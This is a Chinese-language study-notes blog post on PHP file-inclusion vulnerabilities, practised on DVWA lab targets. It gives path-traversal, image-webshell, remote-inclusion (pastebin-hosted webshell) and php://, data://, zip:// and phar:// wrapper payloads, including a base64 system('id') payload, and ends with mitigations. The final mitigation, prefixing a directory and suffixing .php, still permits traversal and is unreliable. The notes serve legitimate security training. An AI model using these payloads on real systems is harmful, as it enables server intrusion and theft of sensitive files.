本篇整理自我的语雀学习笔记(课堂学习与实操记录),已转为纯文字版并按博客格式排版。

文件包含

产生原因

开发者没有对用户传入的文件路径做验证,导致用户可以包含、读取、下载任意的文件

⚠️ 只有php 才有文件包含漏洞、其他语言和框架是任意文件读取、任意文件下载

危害

泄露 服务器的敏感信息
php文件包含 漏洞会把包含的任意文件都当作php 代码解析执行(图片马+文件包含结合使用的原理)

挖掘

白盒

代码审计

定位 php 文件包含函数 includerequireinclude_oncerequire_once
看函数的参数是否可控,是否有过滤

include 与 require 的区别

include 即使包含的文件不存在,也会继续执行后续的代码
require 如果包含的文件不存在,会报错 500 并停止执行后续的代码

黑盒

1 实现网站正常功能,看网站是否有参数键名如 file、page、path、lang 等与页面、路径有关的参数,如果有 就改为 /etc/passwd 或 C:\Windows\win.ini 进行尝试

2 关注网站的 下载功能、在线读取文件功能,看是否可以修改想看的 文件路径

利用

1 本地文件包含

任意文件读取、任意文件下载

绝对路径

Linux:/etc/passwd

windows:C:\Windows\win.ini

/etc/hosts

C:\Windows\System32\drivers

相对路径

../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

2 包含图片马

php文件包含漏洞会把包含的任意文件都当作php代码解析执行

上传图片马
文件包含漏洞 包含图片马

相对路径

绝对路径

http://192.168.79.120:8082/vulnerabilities/fi/?page=/var/www/html/hackable/uploads/eval.gif

http://192.168.79.154/DVWA/vulnerabilities/fi/page=C:\phpstudy\PHPTutorial\WWW\DVWA\hackable\uploads\eval.gif

⚠️ :如果文件包含漏洞在后台,webshell 管理工具连接时需要加上 cookie

练习:

1 DVWA 文件上传图片马
2 DVWA 文件包含漏洞包含图片马
3 antsword连接

⚠️ :如果文件包含漏洞在后台,webshell 管理工具连接时需要加上 cookie

拓展: webshell 管理工具连接后台漏洞webshell

Godzilla

Behinder

3 远程文件包含

前提条件

php 配置文件中配置项 allow_url_include = On (默认是Off)

利用方式

包含文件是URL地址,php会把 URL地址请求到的内容 当做php代码解析执行

包含 webshell

靶机需要能够连接到自己的攻击机

攻击过程

攻击机创建 webshell 文件 1.txt
攻击机开启监听
靶机包含攻击机的URL

pastbin

1 创建 paste

2 获取paste raw

3 得到链接

[https://pastebin.com/raw/jAQadcin](https://pastebin.com/raw/jAQadcin) 攻击远程文件包含漏洞的网站

练习操作

练习操作1:allow_url_include = On

DVWA 远程文件包含,执行 phpinfo 或 连接webshell (⚠️ 需要改 php 配置文件 allow_url_include = On)

练习操作2:修复

修复 sagikazarmark/dvwa 镜像的远程文件包含漏洞 提示:修改php配置文件 allow_url_include = Off

1️⃣ /etc/php5/apache2/php.ini

👉 Apache + PHP(mod_php)使用的配置文件

  • 当你通过 浏览器访问网站
  • Apache 调用 PHP 时
  • 生效的就是这个配置

2️⃣ /etc/php5/cli/php.ini

👉 PHP 命令行(CLI)使用的配置文件

  • 你在终端运行:php test.php
  • 生效的是 这个 php.ini

📌 特点:

  • 不影响网站
  • 常用于脚本、定时任务、测试

3️⃣ /var/www/html/php.ini

👉 这是一个“项目级 / 自定义”的 php.ini

  • 不是 PHP 默认配置路径
  • 通常是:
    • 网站程序自己放的
    • 或运维/开发者手动创建的

⚠️ 是否生效取决于:

  • PHP 运行模式
  • 是否通过 .user.ini / php_admin_value / ini_set() 加载

通常:

  • Apache 不会自动用它
  • CLI (命令行接口: 就是在终端 / 控制台里,通过敲命令来操作程序,而不是点鼠标 ) 也不会用它
方案1
方案 2

4 php 伪协议 / php wrapper

file

file://绝对路径

必须要使用绝对路径
php配置文件 allow_url_fopen=on/off allow_url_include=on/off

Linux:

file:///etc/passwd

http://192.168.79.120:8082/vulnerabilities/fi/?page=file:///etc/passwd

windows:

file://C:\Windows\win.ini

file:///C:\Windows\win.ini

http://192.168.79.154/DVWA/vulnerabilities/fi/?page=file:///C:\Windows\win.ini

php filter

php://filter/read=convert.base64-encode/resource=相对或绝对路径
php://filter/string.rot13/resource=相对或绝对路径
  • 支持相对路径或绝对路径
  • php配置文件 allow_url_fopen=on/off allow_url_include=on/off
  • 作用是读取文件内容,不会解析执行

绝对路径

http://192.168.79.120:8082/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=/**etc/passwd**

相对路径

http://192.168.79.120:8082/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=**index.php**

php input

php://input

  • 作用: 读取请求体,如果是和 include/require函数联用,就会把请求体当做php代码执行
  • php配置文件 allow_url_fopen=on/off allow_url_include=on

data

data://text/plain,URL编码的PHP代码
data://text/plain;base64,base64编码的PHP代码
  • 执行 GET参数中的PHP代码
  • php配置文件 allow_url_fopen=on allow_url_include=on
URL-decode(URL 解码)

URL-encode key characters(只编码关键字符)
只对 URL 中 必须转义的保留字符 进行编码,其它字符保持不变

URL-encode all characters(编码所有字符)
把 所有字符(包括字母、数字) 都编码成 %xx 形式。

URL-encode all characters (Unicode)
对所有字符进行 Unicode 级别的 URL 编码,适用于 中文 / 非 ASCII 字符

⚠️ 如果base64后出现了= 或 + ,要对 = 和 + 进行URL编码

; PD9waHAgc3lzdGVtKCJpZCIpOz8+ ; PD9waHAgc3lzdGVtKCJpZCIpOz8%2b

zip

zip://绝对路径/zip压缩包的名字%23压缩包里php文件的名字

  • 读取压缩包内的文件
  • 只能用绝对路径
  • php配置文件 allow_url_fopen=on/off allow_url_include=on/off

http://192.168.79.120:8082/vulnerabilities/fi/?page=zip:///var/www/html/hackable/uploads/gh.zip%231.php

%23 是 URL 编码后的 #

#的作用:锚点

phar

phar://相对或绝对路径/zip压缩包名(后缀可以任意)/压缩包里php文件的名字

  • 读取压缩包内的文件
  • 绝对路径或相对路径都行
  • php配置文件 allow_url_fopen=on/off allow_url_include=on/off
  • 支持非zip后缀压缩包
  • phar 和部分函数联用时可能造成 phar 反序列化漏洞

http://192.168.79.120:8082/vulnerabilities/fi/?page=phar://../../hackable/uploads/gh.jpg/1.php

修复

1 黑名单过滤,过滤伪协议 php:// data:// ,过滤 ../

2 白名单具体的文件

3 关闭 allow_url_include ,远程文件包含、php://input 、data:// 将无法使用

4 在包含的文件前加前后缀 ,如下在用户输入的文件前加 目录,文件后加后缀

<?php
  include("includes/".$_GET['file'].".php");
?>